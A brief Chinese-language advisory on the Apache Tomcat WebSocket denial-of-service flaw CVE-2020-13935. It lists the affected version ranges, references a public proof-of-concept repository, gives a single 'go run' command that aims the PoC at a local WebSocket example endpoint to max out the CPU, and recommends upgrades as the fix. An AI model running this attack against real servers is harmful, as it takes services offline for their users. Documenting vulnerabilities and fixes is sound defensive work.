Apache Tomcat拒绝服务漏洞（CVE-2020-13935）

### 漏洞详情 ###

### 受影响版本 ###

Apache Tomcat 10.0.0-M1~10.0.0-M6

Apache Tomcat 9.0.0.M1~9.0.36

Apache Tomcat 8.5.0~8.5.56

Apache Tomcat 7.0.27~7.0.104

### 漏洞详情 ###

根据https://github.com/RedTeamPentesting/CVE-2020-13935

运行命令

go run main.go ws://localhost/examples/websocket/echoProgrammatic

可以看到cpu立即被占满


### 漏洞修复方案： ###
升级到Apache Tomcat 10.0.0-M7+

升级到Apache Tomcat 9.0.37+

升级到Apache Tomcat 8.5.57